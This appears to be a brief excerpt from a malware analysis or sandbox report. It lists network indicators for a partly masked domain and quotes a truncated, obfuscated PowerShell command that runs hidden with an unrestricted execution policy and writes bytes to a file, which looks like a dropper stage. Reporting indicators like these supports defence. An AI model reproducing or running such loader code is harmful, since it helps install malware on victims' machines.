Technical Information
- 'em##kes.com':443
- 'em##kes.com':443
- DNS ASK em##kes.com
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted function wrwsXXdePWOcbH($AypGfYCordRb, $TDLWVNEBGoqG){[IO.File]::WriteAllBytes($AypGfYCordRb, $TDLWVNEBGoqG)};function YvRnMlpNe($AypGfYCordRb){if($AypGfYCordRb.En...' (with hidden window)